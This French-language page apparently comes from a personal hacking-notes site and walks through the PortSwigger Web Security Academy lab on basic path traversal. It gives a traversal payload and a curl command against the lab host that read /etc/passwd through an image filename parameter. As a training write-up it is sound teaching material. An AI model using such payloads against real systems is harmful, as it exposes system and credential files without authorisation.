> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/path-traversal/basic-path-traversal.md).
# Traversée de chemin de base
Notes sur la traversée de chemin de base pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.
### Chemin de traversée de fichier, cas simple
Ce laboratoire présente une vulnérabilité de traversée de chemin lors de l’affichage des images de produits. / Pour résoudre cela, accédez simplement au contenu de **/etc/passwd** fichier.
Les images sont chargées à l’aide d’un **nom de fichier** :
```bash
/image?filename=53.jpg
```
En remplaçant ce nom de fichier par une séquence qui vous permet de remonter dans l’arborescence, vous pouvez cibler des fichiers système :
```bash
/image?filename=../../../../../etc/passwd
```
Exemple avec **curl**:
{% code overflow="wrap" %}
```bash
curl 'https://0ae100b3030baaee8586042900fd00e8.web-security-academy.net/image?filename=../../../../../etc/passwd'
```
{% endcode %}
Cette charge utile affiche le contenu du fichier passwd, validant ainsi le laboratoire.
---
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